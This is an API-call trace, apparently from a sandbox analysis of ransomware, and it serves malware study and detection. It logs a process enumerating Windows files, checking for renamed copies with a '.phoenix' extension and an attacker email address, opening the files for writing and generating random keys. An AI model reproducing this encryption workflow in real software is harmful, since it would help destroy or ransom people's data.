	[0250.615] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=44488) returned 1
	[0250.615] CloseHandle (hObject=0x2c4) returned 1
	[0250.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20
	[0250.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.616] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.616] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.616] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.617] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=28865) returned 1
	[0250.617] CloseHandle (hObject=0x2c4) returned 1
	[0250.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20
	[0250.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.617] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.618] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=39379) returned 1
	[0250.618] CloseHandle (hObject=0x2c4) returned 1
	[0250.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20
	[0250.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.618] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.618] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.618] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.620] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=129745) returned 1
	[0250.620] CloseHandle (hObject=0x2c4) returned 1
	[0250.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20
	[0250.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.620] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.620] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.620] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.620] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1743) returned 1
	[0250.620] CloseHandle (hObject=0x2c4) returned 1
	[0250.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml")) returned 0x20
	[0250.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.621] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.621] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.621] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.621] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=28865) returned 1
	[0250.621] CloseHandle (hObject=0x2c4) returned 1
	[0250.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20
	[0250.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.621] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.621] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.621] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.623] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1334) returned 1
	[0250.623] CloseHandle (hObject=0x2c4) returned 1
	[0250.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml")) returned 0x20
	[0250.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.623] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.623] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.623] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.623] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1334) returned 1
	[0250.623] CloseHandle (hObject=0x2c4) returned 1
	[0250.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml")) returned 0x20
	[0250.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.624] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.624] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.624] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.624] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=11007) returned 1
	[0250.625] CloseHandle (hObject=0x2c4) returned 1
	[0250.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml")) returned 0x20
	[0250.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.625] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.625] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.625] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.626] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1512) returned 1
	[0250.626] CloseHandle (hObject=0x2c4) returned 1
	[0250.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml")) returned 0x20
	[0250.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.626] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.627] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.627] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.627] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=11364) returned 1
	[0250.627] CloseHandle (hObject=0x2c4) returned 1
	[0250.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml")) returned 0x20
	[0250.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.627] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.628] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.628] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.628] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.628] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.628] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.628] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.628] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.628] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.628] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.628] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.628] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.629] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.629] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\osver.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.629] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\parse.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.629] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
